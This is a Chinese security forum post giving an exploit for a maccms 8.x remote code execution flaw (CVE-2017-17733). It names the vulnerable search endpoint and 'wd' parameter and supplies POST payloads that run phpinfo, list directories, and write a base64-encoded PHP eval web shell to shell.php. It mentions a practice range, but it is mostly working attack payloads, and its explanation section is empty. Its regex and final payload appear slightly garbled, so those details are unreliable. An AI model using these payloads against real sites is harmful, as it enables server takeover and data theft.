安全矩阵

 找回密码
 立即注册
搜索
查看: 1640|回复: 0

maccms 远程命令执行(CVE-2017-17733)

[复制链接]

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
发表于 2021-10-30 15:41:40 | 显示全部楼层 |阅读模式
maccms 远程命令执行(CVE-2017-17733)
描述: Maccms是一套跨平台的基于PHP和MySQL快速建站系统。。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。
影响版本: Maccms 8.x版本中存在安全漏洞
该漏洞点

利用wd参数post' wbeshell
漏洞利用
url:localhost/maccms8/?m=vod-search (有的网站不需要些maccms8,因为有的人会改名,改成maccms888啥的都有,这里靶场干脆不要这个)

post:wd={if-A:phpinfo()}{endif-A}

该点hi利用正则绕过
'/{if-([\s\S]?)[\s\S]+?)}([\s\S]?){endif-\1}/is'
如何要写入一个shell呢,我们只要控制它第二个子匹配获取到的是我们控制的恶意代码,并且绕过几个过滤替换的坑就好
{if-A:EXP}{endif-A}
由于不能带单引号,会被直接转义,于是尝试构造命令,先去读当前目录,结果被and被替换了,都忘记这个了。
wd={if-A:var_dump(scandir(pos(localeconv())))}{endif-A}


网上的getshell基本都是通过base64编码写入,没有引号并不会报错,只是有一个notice,仍然可以使用,是因为被隐性作为常量对待了
通过base64编码构造shell并且写入
wd={ifA:fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeXVueWluZ10pOw))}{endif-A}
漏洞原理:

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:43 , Processed in 0.012640 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表